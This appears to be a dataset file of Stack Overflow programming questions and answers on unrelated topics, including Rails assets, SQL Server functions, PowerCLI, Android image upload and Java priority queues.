12507260	0	 <p>No big XML-knowledge at my side, but since <code>Properties</code> is a childnode of <code>NewDataSet</code>, my guess is that you first have to get the <code>Properties</code> node and with that you can probably get the nodes you want.</p>
22500310	0	Can't read the data from 2nd level nested attribute in ActiveAdmin <p><em>I have 3 classes:</em></p> <p><strong>app/model/order.rb</strong></p> <pre><code>class Order &lt; ActiveRecord::Base has_many :lines, dependent: :destroy accepts_nested_attributes_for :lines, allow_destroy: true end </code></pre> <p><strong>app/model/line.rb</strong></p> <pre><code>class Line &lt; ActiveRecord::Base belongs_to :order has_many :picklines, dependent: :destroy end </code></pre> <p><strong>app/model/pickline.rb</strong></p> <pre><code>class Pickline &lt; ActiveRecord::Base belongs_to :line end </code></pre> <p>So, from the above, the structure as follows <code>Order&gt;Line&gt;Pickline</code>, i.e. <code>Pickline</code> will be 2nd level nested attrubte to <code>Order</code>.</p> <p>I was able to read the column from <code>Line</code> (1st level nested) as below:</p> <p><strong>app/admin/order.rb</strong></p> <pre><code>show do panel "Items" do table_for order.lines do column :description end end end </code></pre> <p>Now, I'm having headache on how to retrieve, for example, column named "quantity" from the 2nd level nested attribute of <code>Pickline</code>...</p> <p>I understand that I first have to iterate on each <code>Line</code> and then on each <code>Pickline</code> to retrieve any column from Pickline, but can't figure out how this can be done in ActiveAdmin.</p>
31045710	0	 <p>I've found an example on CodeProject that works really well. </p> <p><a href="http://www.codeproject.com/Articles/31840/Move-controls-on-a-form-at-runtime" rel="nofollow noreferrer">Move controls on a form at runtime</a></p> <p>The only problem I ran into is that I couldn't drag the <code>WebBrowser</code> control itself as it appears to capture mouse clicks. As a workaround I put the <code>WebBrowser</code> in a <code>Panel</code>, left a little space at the top so it looks like a title bar, then anchored the <code>WebBrowser</code> to fill the rest of the space.</p> <p>Put the following code somewhere appropriate like Form_Load.</p> <pre><code>Helper.ControlMover.Init(this.TheWebBrowserPanel); </code></pre> <p>You can then drag the <code>WebBrowser</code> control by dragging the <code>Panel</code> instead:</p> <p><img src="https://i.stack.imgur.com/ns3B4.gif" alt="enter image description here"></p>
33503666	0	Background running time with PushKit VoIP notifications <p>I'm writing VoIP application that uses PushKit notification, and I can't found <strong>what amount of background execution time gives me one incoming push?</strong></p> <p>The first thing I've checked is <code>[UIApplication sharedApplication].backgroundTimeRemaining</code> but this counter doesn't reset by next pushes and apps still remain active even with <code>backgroundTimeRemaining == 0</code>.</p> <p>My question is how to get remain time until app become frozen by system? Or how to calculate this time in respect to number of incoming PushKit pushes. </p> <p>I need this to gracefully close sockets/connections before application becomes frozen. </p>
9646055	0	CMake, SDL on Mac OS X, "can't find -lSDLmain" <p>Following the instructions <a href="http://content.gpwiki.org/index.php/SDL%3aTutorials%3aSetup#CMake" rel="nofollow">here</a>, I've set up a <code>CMakeLists.txt</code>:</p> <pre><code>Find_Package (SDL REQUIRED) Find_Package (SDL_image REQUIRED) link_libraries ( ${SDL_LIBRARY} ${SDLIMAGE_LIBRARY} SDLmain ) </code></pre> <p>When running <code>cmake</code>, I get the following error:</p> <pre><code>ld: library not found for -lSDLmain collect2: error: ld returned 1 exit status make[2]: *** [src/GameOfLife] Error 1 </code></pre> <p>Running <code>g++</code> by hand gives the same error:</p> <pre><code>$ g++-4.7 -std=c++0x ../src/*.cpp -lSDLmain ld: library not found for -lSDLmain </code></pre> <p>How do I fix this?</p>
14113313	0	can i use android aide for learning java <p>Ok so this time I will make it more specific.</p> <p>I want to learn Java only. So I have bought myself a book on Java programming and would like to follow the examples in the book. For doing this on the go (because I don't always have access to my PC) I've downloaded <a href="https://play.google.com/store/apps/details?id=com.aide.ui&amp;hl=en" rel="nofollow">AIDE</a>, which is basically an IDE for Android phones.</p> <p>But this app seems to be for android development only. Can I use this to practice Java? Because now when I write anything in Java and compile it, it only outputs what's in the layout XML.</p>
630604	0	 <p>If you're using SQL Server 2005 or newer then your best option is to create a <a href="http://msdn.microsoft.com/en-us/library/ms189876.aspx" rel="nofollow noreferrer">user-defined CLR function</a> and use a regular expression to remove all non-numeric characters.</p> <p>If you don't want to use a CLR function then you could create a standard user-defined function. This will do the job although it won't be as efficient:</p> <pre><code>CREATE FUNCTION dbo.RemoveNonNumerics(@in VARCHAR(255)) RETURNS VARCHAR(255) AS BEGIN DECLARE @out VARCHAR(255) IF (@in IS NOT NULL) BEGIN SET @out = '' WHILE (@in &lt;&gt; '') BEGIN IF (@in LIKE '[0-9]%') SET @out = @out + SUBSTRING(@in, 1, 1) SET @in = SUBSTRING(@in, 2, LEN(@in) - 1) END END RETURN(@out) END </code></pre> <p>And then select from your table like so:</p> <pre><code>SELECT dbo.RemoveNonNumerics(your_column) AS your_tidy_column FROM your_table </code></pre>
9440032	0	 <p>I have seen this before. What solved the problem for me was to re-export my PNGs. For some reason, some of them get metadata in them (like Fireworks stuff) which causes it to bug out in certain situations. I've seen that happen mostly with Internet Explorer, but have seen it with MKMapView as well. Even more strange, it worked in the simulator but not on the device.</p>
1710248	0	Does anyone have parsing rules for the Notepad++ Function List plugin for Ruby and Rake <p>I'me using Notepad++ for editing rake files and I'd like to be able to use the function list plugin. </p> <p>I've been unable to find any parsing rules on line, and the "Language Parsing Rules" dialog is not very clearly documented.</p> <p>I'm parsing methods into the list with the following, but would like to also display tasks.</p> <pre><code>Function Begin: [ \t]*def[ \t]+ Function List Name: [a-zA-Z0-9_\.]* </code></pre> <p>This isn't very clean, and won't capture functions that end with ? or !, but it is a start.</p> <p>My task rule, which isn't working is:</p> <pre><code>Function Begin: [ \t]*task[ \t]+ Function List Name: :[a-zA-Z0-9_\.]* Function End: [ \t]+do </code></pre> <p>Any suggestions most welcome.</p> <p>thanks</p>
19504106	0	 <pre><code>void print_customers(customer &amp;head); </code></pre> <p>C++ compiler work in top to bottom approach. So, every type, identifier it sees at the point must be known to it. </p> <p>The problem is that compiler doesn't know the type <code>customer</code> in the above statement. Try forward declaring the type before the function's forward declaration.</p> <pre><code>struct customer; </code></pre> <p>Or move the function forward declaration after the struct definition.</p>
40009351	0	 <p>If they don't provide an argument, set that argument in <code>args</code> to <code>0</code>. Then <code>ls</code> won't receive an empty string as its first argument, it won't get any arguments at all.</p> <pre><code>args[0] = arg1; if (strlen(arg2) == 0) { args[1] = 0; } else { args[1] = arg2; args[2] = 0; } </code></pre> <p>You also need to check for this in the loop that prints all the arguments.</p> <pre><code>for(i=0;i&lt;MAX &amp;&amp; arg[i];i++) { printf("Value of arg[%d] =%s\n",i, args[i]); } </code></pre>
16401266	0	Basic concept of message loop in directx <p>Well I find weird point of message loop.</p> <p>first, lock this code below</p> <pre><code>MSG msg = {0}; while( WM_QUIT != msg.message ) { if( PeekMessage( &amp;msg, NULL, 0, 0, PM_REMOVE ) ) { TranslateMessage( &amp;msg ); DispatchMessage( &amp;msg ); } else { Render(); // Do some rendering } } </code></pre> <p>It is a tutorial of directx and this part is part of message loop.</p> <p>If I click a mouse, It goes to queue as Message.</p> <p>So Input like this should be process in proc function of win api.</p> <p>Now that peekMessage return true, render() will not be called in frame when I clicked.</p> <p>I think code be changed if~else to if~if for render when I click.</p> <p>Can you explain this??</p>
14020775	0	 <p>You have chose wrong selector, :td is not correct. You need to attach event directly on tr. You may use <code>mouseenter</code> instead of <code>mouseover</code> as mouseover will fire again and again as mouse moves on it, <code>it will cause needless execution of code</code>. You need to change the class only once so mouse enter would be do that for you. </p> <p><strong><a href="http://jsfiddle.net/rajaadil/Bf3MT/" rel="nofollow">Live Demo</a></strong></p> <pre><code>$(document).ready(function() { $('#gvrecords tr').mouseenter(function() { $(this).addClass('highlightRow'); }).mouseout(function() { $(this).removeClass('highlightRow'); }) }) </code></pre>
1753357	0	Per-file enabling of scope guards <p>Here's a little problem I've been thinking about for a while now that I have not found a solution for yet.</p> <p>So, to start with, I have this function guard that I use for debugging purpose:</p> <pre><code>class FuncGuard { public: FuncGuard(const TCHAR* funcsig, const TCHAR* funcname, const TCHAR* file, int line); ~FuncGuard(); // ... }; #ifdef _DEBUG #define func_guard() FuncGuard __func_guard__( TEXT(__FUNCSIG__), TEXT(__FUNCTION__), TEXT(__FILE__), __LINE__) #else #define func_guard() void(0) #endif </code></pre> <p>The guard is intended to help trace the path the code takes at runtime by printing some information to the debug console. It is intended to be used such as:</p> <pre><code>void TestGuardFuncWithCommentOne() { func_guard(); } void TestGuardFuncWithCommentTwo() { func_guard(); // ... TestGuardFuncWithCommentOne(); } </code></pre> <p>And it gives this as a result:</p> <pre> ..\tests\testDebug.cpp(121): Entering[ void __cdecl TestGuardFuncWithCommentTwo(void) ] ..\tests\testDebug.cpp(114): Entering[ void __cdecl TestGuardFuncWithCommentOne(void) ] Leaving[ TestGuardFuncWithCommentOne ] Leaving[ TestGuardFuncWithCommentTwo ] </pre> <p>Now, one thing that I quickly realized is that it's a pain to add and remove the guards from the function calls. It's also unthinkable to leave them there permanently as they are because it drains CPU cycles for no good reasons and it can quickly bring the app to a crawl. Also, even if there were no impacts on the performances of the app in debug, there would soon be a flood of information in the debug console that would render the use of this debug tool useless.</p> <p>So, I thought it could be a good idea to enable and disable them on a per-file basis.</p> <p>The idea would be to have all the function guards disabled by default, but they could be enabled automagically in a whole file simply by adding a line such as</p> <pre><code>EnableFuncGuards(); </code></pre> <p>at the top of the file.</p> <p>I've thought about many a solutions for this. I won't go into details here since my question is already long enough, but let just say that I've tried more than a few trick involving macros that all failed, and one involving explicit implementation of templates but so far, none of them can get me the actual result I'm looking for.</p> <p>Another restricting factor to note: The header in which the function guard mechanism is currently implemented is included through a precompiled header. I know it complicates things, but if someone could come up with a solution that could work in this situation, that would be awesome. If not, well, I certainly can extract that header fro the precompiled header.</p> <p>Thanks a bunch in advance!</p>
20988644	0	fontawesome + rails 4.0.1 not working <p>I am using fontawesome 3.2.1 and bootstrap 3.0.0 in my rails 4.0.1 project. All my assets are located in vendor/assets. </p> <p>the problem is that my fontawesome is working in development mode when when i compile my assets(production env) and run the server in production env, its not able to load fontawesome. the errors are as</p> <pre><code>Started GET "/assets/fontawesome-webfont.svg" for 127.0.0.1 at 2014-01-08 11:48:55 +0530 ActionController::RoutingError (No route matches [GET] "/assets/fontawesome-webfont.svg"): actionpack (4.0.1) lib/action_dispatch/middleware/debug_exceptions.rb:21:in `call' actionpack (4.0.1) lib/action_dispatch/middleware/show_exceptions.rb:30:in `call' </code></pre> <p>the assets are as</p> <pre><code>$ls vendor/assets/ =&gt; fonts images javascripts stylesheets $ls vendor/assets/* =&gt; vendor/assets/fonts: FontAwesome.otf fontawesome-webfont.ttf glyphicons-halflings- regular.svg fontawesome-webfont.eot fontawesome-webfont.woff glyphicons-halflings- regular.ttf fontawesome-webfont.svg glyphicons-halflings-regular.eot glyphicons-halflings-regular.woff vendor/assets/images: bg_direction_nav.png bxslider search-icon.jpg vendor/assets/javascripts: bootstrap bxslider fancybox others revolution_slider vendor/assets/stylesheets: bootstrap bxslider fancybox font_awesome others revolution_slider $ls vendor/assets/stylesheets/bootstrap/ =&gt; bootstrap.min.css $ls vendor/assets/stylesheets/font_awesome/ =&gt; font-awesome.css </code></pre> <p>my application.css is as</p> <pre><code>$cat app/assets/stylesheets/application.css /* * This is a manifest file that'll be compiled into application.css, which will include all the files * listed below. * * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets, * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path. * * You're free to add application-wide styles to this file and they'll appear at the top of the * compiled file, but it's generally better to create a new file per style scope. * *= require bootstrap/bootstrap.min.css *= require others/theme.css *= require others/bootstrap-reset.css *= require font_awesome/font-awesome.css *= require bxslider/jquery.bxslider.css *= require fancybox/jquery.fancybox.css *= require revolution_slider/rs-style.css *= require revolution_slider/settings.css *= require others/flexslider.css *= require others/style.css *= require others/style-responsive.css *= require_self */ </code></pre> <p>fontawesome are loaded in font-awesome.css as</p> <pre><code>@font-face { font-family: 'FontAwesome'; src: url('/assets/fontawesome-webfont.eot?v=3.2.1'); src: url('/assets/fontawesome-webfont.eot?#iefix&amp;v=3.2.1') format('embedded-opentype'), url('/assets/fontawesome-webfont.woff?v=3.2.1') format('woff'), url('/assets/fontawesome-webfont.ttf?v=3.2.1') format('truetype'), url('/assets/fontawesome-webfont.svg#fontawesomeregular?v=3.2.1') format('svg'); font-weight: normal; font-style: normal; } </code></pre> <p>glyphicons are loaded in bootstrap.min.css as</p> <pre><code>@font-face{ font-family:'Glyphicons Halflings'; src:url('/assets/glyphicons-halflings-regular.eot'); src:url('/assets/glyphicons-halflings-regular.eot?#iefix') format('embedded-Opentype'), url('/assets/glyphicons-halflings-regular.woff') format('woff'),url('/assets/glyphicons-halflings-regular.ttf') format('truetype'),url('/assets/glyphicons-halflings-regular.svg#glyphicons-halflingsregular') format('svg')} </code></pre> <p>i did try couple of solution like prepending 'font' or 'assets' to 'url' but none worked. </p> <p>--UPDATE</p> <p>contents of config/application.rb</p> <pre><code>config.assets.enabled = true config.assets.version = '1.0' config.assets.paths += ["#{config.root}/vendor/assets/fonts", "#config.root}/app/assets/images/**", "#{config.root}/vendor/assets/images"] config.assets.precompile += %w(*.png *.jpg *.jpeg *.gif *.eot *.svg *.ttf *.otf *.woff vendor/assets/stylesheets/**/* vendor/assets/fonts/*) ["#{config.root}/vendor/assets/javascripts", "#config.root}/vendor/assets/stylesheets"].each do |d| config.assets.precompile += Dir.glob("#{d}/*").map{|f| "#{f.gsub(d + '/', '')}/**/*" if File.directory?(f)}.compact </code></pre>
15101559	0	Terminal: Where is the shell start-up file? <p>I'm following a tutorial called <a href="http://www.jeffknupp.com/blog/2012/10/24/starting-a-django-14-project-the-right-way/">Starting a Django 1.4 Project the Right Way</a>, which gives directions on how to use virtualenv and virtualenvwrapper, among other things.</p> <p>There's a section that reads: </p> <blockquote> <p>If you're using pip to install packages (and I can't see why you wouldn't), you can get both virtualenv and virtualenvwrapper by simply installing the latter.</p> <pre><code> $ pip install virtualenvwrapper </code></pre> <p>After it's installed, add the following lines to your shell's start-up file (.zshrc, .bashrc, .profile, etc).</p> <pre><code> export WORKON_HOME=$HOME/.virtualenvs export PROJECT_HOME=$HOME/directory-you-do-development-in source /usr/local/bin/virtualenvwrapper.sh </code></pre> <p>Reload your start up file (e.g. source .zshrc) and you're ready to go.</p> </blockquote> <p>I am running Mac OSX, and don't know my way around the Terminal too well. What exactly does the author mean by <code>shell's start-up file (.zshrc, .bashrc, .profile, etc)</code>? Where do I find this file, so that I can add those three lines?</p> <p>Also, what does he mean by <code>reload your start up file (e.g. source .zshrc)</code>?</p> <p>I would appreciate a detailed response, specific to OSX.</p>
18666043	0	Selecting even rows through it class name <p>Problem selecting even rows through it class name:</p> <pre><code>$(".recDetails table tr").each(function() { if( !($(this).css("display") == "none")){ $(this).addClass("block"); }; }); $(".recDetails table").each(function(i) { $(this).find("tr.block:even").css("background-color", "#fff"); $(this).find("tr.block:odd").css("background-color", "#efefef"); }); </code></pre> <p>It is taking into the count all of the "<strong>tr</strong>" so:</p> <pre><code>(1) tr class="block" (2) tr (3) tr class="block" </code></pre>
38009704	0	 <p>You need to provide full path to the .trx file. With below changes in begin analysis and try it again.</p> <p><strong>Change</strong></p> <pre><code>/d:sonar.cs.vstest.reportsPaths=../TestResults/*.trx </code></pre> <p><strong>To</strong></p> <pre><code> /d:sonar.cs.vstest.reportsPaths=../TestResults/Mytest.trx </code></pre>
39646916	0	How to run exe file in VM using PowerCLI? <p>Recently I am working on VMs, using vSphere. I'm also using PowerCLI to automate some stuff. I discovered the cmdlet <code>Invoke-VMScript</code> which allows scripts to be ran on the VM using PowerShell.</p> <p>Everything worked just fine until I tried to install a program in the VM:</p> <pre><code>Invoke-VMScript -VM $vm -ScriptText " 'path'.exe" -GuestUser "YourUsername" -GuestPassword "YourPassword" </code></pre> <p>The program won't run, but we can see the process runs. I explored more and discovered it happens in every exe file. It just won't display the GUI, and also won't perform the desired operation.</p> <p>What can I do to make the PowerCLI run EXE files?</p>
26915792	0	How to use multiple controller or how properly use Apache Tiles? <p>I make website by Spring MVC and have few questions:</p> <ol> <li><p>For presented the view I use Apache Tiles tool. Is it a good idea or is there better ways?</p></li> <li><p>There are body and rightsidebar in my website structure. For secure I use the Spring Security. And i want implement some view that will show for example in body users list and in sidebar authentication form. But on another page it will show another data, like for example some image from data base in body and user profile in sidebar.</p></li> </ol> <p>Are there some advises? </p>
6796319	0	Batch file to determine if using Command Prompt <p>The last line in my batch file is <code>pause</code>. Is there any way to add a if condition to see if the script is run within command prompt or by double clicking to execute? I want to skip pause if it's running in command prompt.</p> <pre><code>... ... if not RUN_IN_COMMAND_PROMPT ( pause ) </code></pre> <p>EDIT: Hope to find a solution works in Windows Server 2003/2008, WinXP, Win7.</p>
7926844	0	 <p>I solved the problem! </p> <p>I'm developing this app using Flash Builder 4.5, and I made a debug/run configuration for iPhone4.<br> Now, when you're specifying a run/debug configuration, you can select a checkbox 'Clear application data on each launch'. This checkbox needs to be UNCHECKED, because this will clear your SharedObject on each application launch!</p> <p>To access this configuration screen in Flash Builder 4.5, click the tiny arrow next to your run/debug button and click Run/Debug Configurations. Navigate to your specified configuration, and uncheck the checkbox! </p> <p>Voila! Enjoy your iOS SharedObject awesomeness!</p>
12301247	0	 <p>Don't pass a <code>ByteArrayOutputStream</code> to the <code>PumpStreamHandler</code>, use an implementation of the abstract class <code>org.apache.commons.exec.LogOutputStream</code>. Something like this:</p> <pre class="lang-java prettyprint-override"><code>import java.util.LinkedList; import java.util.List; import org.apache.commons.exec.LogOutputStream; public class CollectingLogOutputStream extends LogOutputStream { private final List&lt;String&gt; lines = new LinkedList&lt;String&gt;(); @Override protected void processLine(String line, int level) { lines.add(line); } public List&lt;String&gt; getLines() { return lines; } } </code></pre> <p>Then after the blocking call to <code>exec.execute</code> your <code>getLines()</code> will have the standard out and standard error you are looking for. The <code>ExecutionResultHandler</code> is optional from the perspective of just executing the process, and collecting all the stdOut/stdErr into a list of lines.</p>
33194823	0	 <p>That's right. <code>PriorityQueue</code> of Java does not offer a method to update priority and it seems that deletion is taking linear time since it does not store objects as keys, as <code>Map</code> does. It in fact accepts same object multiple times.</p> <p>I also wanted to make PQ offering update operation. Here is the sample code using generics. Any class that is Comparable can be used with it.</p> <pre><code>class PriorityQueue&lt;E extends Comparable&lt;E&gt;&gt; { List&lt;E&gt; heap = new ArrayList&lt;E&gt;(); Map&lt;E, Integer&gt; map = new HashMap&lt;E, Integer&gt;(); void insert(E e) { heap.add(e); map.put(e, heap.size() - 1); bubbleUp(heap.size() - 1); } E deleteMax() { if(heap.size() == 0) return null; E result = heap.remove(0); map.remove(result); heapify(0); return result; } E getMin() { if(heap.size() == 0) return null; return heap.get(0); } void update(E oldObject, E newObject) { int index = map.get(oldObject); heap.set(index, newObject); bubbleUp(index); } private void bubbleUp(int cur) { while(cur &gt; 0 &amp;&amp; heap.get(parent(cur)).compareTo(heap.get(cur)) &lt; 0) { swap(cur, parent(cur)); cur = parent(cur); } } private void swap(int i, int j) { map.put(heap.get(i), map.get(heap.get(j))); map.put(heap.get(j), map.get(heap.get(i))); E temp = heap.get(i); heap.set(i, heap.get(j)); heap.set(j, temp); } private void heapify(int index) { if(left(index) &gt;= heap.size()) return; int bigIndex = index; if(heap.get(bigIndex).compareTo(heap.get(left(index))) &lt; 0) bigIndex = left(index); if(right(index) &lt; heap.size() &amp;&amp; heap.get(bigIndex).compareTo(heap.get(right(index))) &lt; 0) bigIndex = right(index); if(bigIndex != index) { swap(bigIndex, index); heapify(bigIndex); } } private int parent(int i) { return (i - 1) / 2; } private int left(int i) { return 2*i + 1; } private int right(int i) { return 2*i + 2; } } </code></pre> <p>Here while updating, I am only increasing the priority (for my implementation) and it is using MaxHeap, so I am doing bubbleUp. One may need to heapify based on requirement.</p>
7196259	0	Given an instance of any class type, how to find out which parent class and/or traits it inherits from or implements? <p>Suppose there are class/trait definitions as follows:</p> <pre><code>trait T1 {} trait T2 {} abstract class A{} class B {} class C extends A with T1 with T2 {} val b = new B with T1 val c = new C </code></pre> <p>Given the instance of b and c, how do I get their inheritance information (i.e. to know that b implements T1, and c implements A, T1 and T2) ? </p> <p>Thanks for your help.</p>
20984959	0	 <p>The pointer returned by placement new can be just as UB-causing as any other pointer when aliasing considerations are brought into it. It's your responsibility to ensure that the memory you placed the object into isn't aliased by anything it shouldn't be.</p> <p>In this case, you cannot assume that <code>uint8_t</code> is an alias for <code>char</code> and therefore has the special aliasing rules applied. In addition, it would be fairly pointless to use an array of <code>uint8_t</code> rather than <code>char</code> because <code>sizeof()</code> is in terms of <code>char</code>, not <code>uint8_t</code>. You'd have to compute the size yourself.</p> <p>In addition, <code>reinterpret_cast</code>'s effect is entirely implementation-defined, so the code certainly does not have a well-defined meaning.</p> <p>To implement low-level unpleasant memory hacks, the original memory needs to be only aliased by <code>char*</code>, <code>void*</code>, and <code>T*</code>, where <code>T</code> is the final destination type- in this case <code>int</code>, plus whatever else you can get from a <code>T*</code>, such as if <code>T</code> is a derived class and you convert that derived class pointer to a pointer to base. Anything else violates strict aliasing and hello nasal demons.</p>
30524753	0	 <p>Usually it happens because you have an event associated JComboBox. It is solved if you have control item in the JComboBox to act, for example:</p> <pre><code>jComboBoxExample.addActionListener (new ActionListener () { public void actionPerformed (ActionEvent e) { do_run (); } }); public void do_run() { int n=jComboBoxPerfilDocumentos.getItemCount(); &lt;--THIS IS THE SOLUTION if (n&gt; 0) { String x = jComboBoxPerfilDocumentos.getSelectedItem (). ToString (); } } </code></pre>
16574304	0	 <p>I had the same problem too (access_token=0), but then I realized I was clearing Facebook cookies before calling getLogoutURL(). If you get the getLogoutURL() result first, access_token should not be zero.</p>
35375993	0	MongoDB 3.2.1 Java BasicDBObjectBuilder <p>I am getting the following Error when I tried to insert BasicDBObjectBuilder into collection</p> <blockquote> <p>Caused by: java.lang.ClassCastException: com.mongodb.BasicDBObject cannot be cast to com.mongodb.BasicDBObjectBuilder</p> </blockquote> <pre><code> MongoClient mongo = new MongoClient( "xxx.xxx.x.x" , 27017 ); MongoDatabase db = mongo.getDatabase("hello"); //create database MongoCollection&lt;BasicDBObjectBuilder&gt; collbuild = db.getCollection("newcoll", BasicDBObjectBuilder.class); BasicDBObjectBuilder collbuilder = BasicDBObjectBuilder.start() .add("name","joe") .add("dob", "12/12/12") .add("country", "Utopia"); collbuild.insertOne((BasicDBObjectBuilder) collbuilder.get()); // passing BasicDBObjectBuilder into a BasicDBObjectBuilder collection? </code></pre> <p>I thought I am passing the BasicDBObjectBuilder into a BasicDBObjectBuilder collection. I know how to use BasicDBObject but I want to try this method because I am new to programming. So can someone clarify?</p> <blockquote> <p>UPDATED</p> </blockquote> <p>It seems I was trying to to use insertOne which is a BasicDBObject function. So what is needed to pass the BasicDBObjectBuilder into a BasicDBObjectBuilder collection?</p>
21840030	0	 <p>It's a bug, because I don't have enough Motorola devices in my portfolio and missed a flaw in my new <code>getDefaultProfile()</code> implementation. Track <a href="https://github.com/commonsguy/cwac-camera/issues/104" rel="nofollow">the bug that you linked to</a> and watch for an 0.6.1 release soonish. My apologies for the hassle, and thanks for letting me know!</p>
31095457	0	Google APIS return wrong zip code <p>I try to get the map from Google APIS, my link is: <a href="https://maps.googleapis.com/maps/api/geocode/json?address=%E3%80%92106-6108%E6%9D%B1%E4%BA%AC%E9%83%BD%E6%B8%AF%E5%8C%BA%E5%85%AD%E6%9C%AC%E6%9C%A8%E5%85%AD%E6%9C%AC%E6%9C%A8%E3%83%92%E3%83%AB%E3%82%BA%E6%A3%AE%E3%82%BF%E3%83%AF%E3%83%BC%EF%BC%98%E9%9A%8E+JP" rel="nofollow">https://maps.googleapis.com/maps/api/geocode/json?address=%E3%80%92106-6108%E6%9D%B1%E4%BA%AC%E9%83%BD%E6%B8%AF%E5%8C%BA%E5%85%AD%E6%9C%AC%E6%9C%A8%E5%85%AD%E6%9C%AC%E6%9C%A8%E3%83%92%E3%83%AB%E3%82%BA%E6%A3%AE%E3%82%BF%E3%83%AF%E3%83%BC%EF%BC%98%E9%9A%8E+JP</a></p> <p>address = 〒106-6108東京都港区六本木六本木ヒルズ森タワー８階 but the result return "formatted_address" : "Roppongi Hills Mori Tower, 6 Chome-10-1 Roppongi, Minato-ku, Tōkyō-to 106-0032, Japan",</p> <p>Why I inputed 106-6108, but Google return 106-0032 ? </p> <p>Please help me, how can I fix that ? Thank you</p>
14028631	0	ln image uploading through http post in php server in android get the Error in http connection java.lang.NullPointerException <p>Hi I m try to upload the image in server through different method in android but it error in logcat Error in http connection java.lang.NullPointerException</p> <p>and here is my code plz tell me where is my mistake in this code for image uploading </p> <pre><code> BitmapFactory.Options options = new BitmapFactory.Options(); // Decode bitmap with inSampleSize set options.inJustDecodeBounds = true; // image path `String` where your image is located BitmapFactory.decodeFile(selectedPath1, options); int bitmapWidth = 400; int bitmapHeight = 250; final int height = options.outHeight; final int width = options.outWidth; int inSampleSize = 1; if (height &gt; bitmapHeight || width &gt; bitmapWidth) { if (width &gt; height) { inSampleSize = Math.round((float) height / (float) bitmapHeight); } else { inSampleSize = Math.round((float) width / (float) bitmapWidth); } } options.inJustDecodeBounds = false; options.inSampleSize = inSampleSize; Bitmap bmpScale = BitmapFactory.decodeFile(selectedPath1, options); ByteArrayOutputStream bos = new ByteArrayOutputStream(); // CompressFormat set up to JPG, you can change to PNG or // whatever you // want; bmpScale.compress(CompressFormat.JPEG, 100, bos); bmpScale.compress(CompressFormat.JPEG, 100, bos); byte[] data = bos.toByteArray(); MultipartEntity entity = new MultipartEntity( HttpMultipartMode.BROWSER_COMPATIBLE); // entity.addPart("avatar", new ByteArrayBody(data,mSignMessg + // "-" + new Random().nextInt(1000) + ".jpg")); entity.addPart("image", new ByteArrayBody(data, "pic.jpg")); // add your other name value pairs in entity. ArrayList&lt;NameValuePair&gt; nameValuePairs = new ArrayList&lt;NameValuePair&gt;(); nameValuePairs .add(new BasicNameValuePair("user_id", mSignMessg)); nameValuePairs.add(new BasicNameValuePair("name", mname .getText().toString())); nameValuePairs.add(new BasicNameValuePair("dob", mbirthday .getText().toString())); nameValuePairs.add(new BasicNameValuePair("bio", mbio.getText() .toString())); nameValuePairs.add(new BasicNameValuePair("sex", mSexValue)); nameValuePairs .add(new BasicNameValuePair("profile_status", "0")); nameValuePairs.add(new BasicNameValuePair("location", mlocation .getText().toString())); // nameValuePairs.add(new BasicNameValuePair("image", ba1)); Log.d("userfile", "userfile " + ba1); // nameValuePairs.add(new BasicNameValuePair("image”, ba1)); for (int i = 0; i &lt; nameValuePairs.size(); i++) { try { entity.addPart( nameValuePairs.get(i).getName(), new StringBody(nameValuePairs.get(i).getValue())); } catch (UnsupportedEncodingException e) { // TODO Auto-generated catch block Log.d("respons", "image respons " + e); e.printStackTrace(); } } // httppost.setEntity(entity); // // HttpResponse response = httpClient.execute(httppost); try { HttpClient httpclient = new DefaultHttpClient(); HttpPost httppost = new HttpPost( "http://iapptechnologies.com/snapic/profileXml.php"); httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs)); httppost.setEntity(entity); Log.d("nameValuePairs", "nameValuePairs " + nameValuePairs); HttpResponse response = httpclient.execute(httppost); HttpEntity entity1 = response.getEntity(); // print responce outPut = EntityUtils.toString(response.getEntity()); Log.i("GET RESPONSE—-", outPut); Log.d("GET RESPONSE—-", outPut); // is = entity.getContent(); Log.e("log_tag ******", "good connection"); System.out.println("gudconection"); Log.d("god connection ", "gud connection "); bitmapOrg.recycle(); } catch (Exception e) { Log.e("logCatch block***", "Error in http connection " + e.toString()); Log.d("log_catch block ******", "Error in http connection " + e.toString()); } </code></pre> <p><em><strong></em>**<em>*</em>**<em>*</em>**<em>*</em>**<em>*</em>**<em>*</em>*</strong><em>LogCat</em><strong><em>*</em>**<em>*</em>**<em>*</em>**<em>*</em>**<em>*</em>**<em>*</em>**<em>*</em></strong> </p> <pre><code>12-25 13:05:21.361: D/dalvikvm(390): GC_FOR_MALLOC freed 9503 objects / 583600 bytes in 94ms 12-25 13:05:30.901: D/setpath(390): setpath /mnt/sdcard/Picture/ Poonam.jpg 12-25 13:05:30.911: D/setpath(390): setpath /mnt/sdcard/Picture/ Poonam.jpg 12-25 13:05:30.911: I/System.out(390): selectedPath1 : /mnt/sdcard/Picture/ Poonam.jpg 12-25 13:05:37.130: D/image_name(390): image_name null 12-25 13:05:38.060: D/dalvikvm(390): GC_EXTERNAL_ALLOC freed 3329 objects / 235376 bytes in 636ms 12-25 13:06:06.541: D/GET RESPONSE—-(390): &lt;?xml version="1.0"?&gt; 12-25 13:06:06.541: D/GET RESPONSE—-(390): &lt;Result&gt; 12-25 13:06:06.541: D/GET RESPONSE—-(390): &lt;Transaction&gt;snapic/profileXml&lt;/Transaction&gt; 12-25 13:06:06.541: D/GET RESPONSE—-(390): &lt;Success&gt;True&lt;/Success&gt; 12-25 13:06:06.541: D/GET RESPONSE—-(390): &lt;Message&gt;Profile successfully updated&lt;/Message&gt; 12-25 13:06:06.541: D/GET RESPONSE—-(390): &lt;/Result&gt; 1 12-25 13:06:06.551: E/logCatch block***(390): Error in http connection java.lang.NullPointerException 12-25 13:06:06.551: D/log_catch block ******(390): Error in http connection java.lang.NullPointerException </code></pre>
33249484	0	 <p>Some close alternatives are <code>std::vector</code> and <code>std::array</code>. </p> <p>If you want to use an array of bytes, usually <code>uint8_t</code>, you will need to pass the array to functions, <em>as well as the capacity and the number of elements in the array</em>. </p> <p>The issue is that when arrays are passed to functions, the array decays down to a pointer to the first element, without any capacity information. </p> <p>There are no facilities to prevent you from indexing beyond the limits (capacity) of the array. This is why <code>std::vector</code> is a safer choice.</p>
14283665	0	 <p>Would a linq query like this be faster:</p> <pre><code>var matches = ( from f in family_list join b in busy_list on f.color == b.color &amp;&amp; f.name == b.name select new {f, b} ); </code></pre>
